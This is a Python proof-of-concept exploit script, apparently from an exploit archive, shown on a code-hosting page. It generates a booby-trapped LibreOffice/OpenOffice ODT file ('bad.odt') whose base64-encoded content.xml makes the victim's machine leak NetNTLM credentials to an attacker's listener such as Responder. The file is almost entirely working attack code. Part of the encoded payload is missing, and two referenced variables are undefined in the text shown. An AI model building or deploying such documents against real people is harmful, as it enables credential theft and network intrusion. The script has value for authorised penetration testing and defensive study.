-
Notifications
You must be signed in to change notification settings - Fork 0
/
44564.py
75 lines (63 loc) · 7.42 KB
/
44564.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#!/usr/bin/python
# Exploit Title: Malicious ODF File Creator
# Date: 1st May 2018
# Exploit Author: Richard Davy
# Vendor Homepage: https://www.libreoffice.org/
# Software Link: https://www.libreoffice.org/
# Version: LibreOffice 6.0.3, OpenOffice 4.1.5
# Tested on: Windows 10
#
#Quick script/POC code to create a malicious ODF which can be used to leak NetNTLM credentials
#Usage - Setup responder or similar create a malicious file and point to listener.
#Works against LibreOffice 6.03 and OpenOffice 4.1.5
#
#
try:
from ezodf import newdoc
except ImportError:
print ('ezodf appears to be missing - try: pip install ezodf')
exit(1)
import os
import zipfile
import base64
print("""
____ __ ____ ____ ______
/ __ )____ _____/ / / __ \/ __ \/ ____/
/ __ / __ `/ __ /_____/ / / / / / / /_
/ /_/ / /_/ / /_/ /_____/ /_/ / /_/ / __/
/_____/\__,_/\__,_/ \____/_____/_/
""")
print("Create a malicious ODF document help leak NetNTLM Creds")
print("\nBy Richard Davy ")
print("@rd_pentest")
print("www.secureyourit.co.uk\n")
#Create a blank ODT file
namef = "temp.odt"
odt = newdoc(doctype='odt', filename=namef)
odt.save()
#Create our modified content.xml file
contentxml1="PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4NCjxvZmZpY2U6ZG9jdW1lbnQtY29udGVudCB4bWxuczpvZmZpY2U9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6b2ZmaWNlOjEuMCIgeG1sbnM6c3R5bGU9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6c3R5bGU6MS4wI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ZmZpY2U6Ym9keT48L29mZmljZTpkb2N1bWVudC1jb250ZW50Pg=="
fileout=base64.b64decode(contentxml1).decode()+contentxml2+base64.b64decode(contentxml3).decode()
text_file = open("content.xml", "w")
text_file.write(fileout)
text_file.close()
#Create a copy of the blank odt file without the content.xml file in (odt files are basically a zip)
zin = zipfile.ZipFile ('temp.odt', 'r')
zout = zipfile.ZipFile ('bad.odt', 'w')
for item in zin.infolist():
buffer = zin.read(item.filename)
if (item.filename != 'content.xml'):
zout.writestr(item, buffer)
zout.close()
zin.close()
#Add our modified content.xml file to our odt file
zf = zipfile.ZipFile('bad.odt', mode='a')
try:
zf.write('content.xml', arcname='content.xml')
finally:
zf.close()
#Clean up temp files
os.remove("content.xml")
os.remove("temp.odt")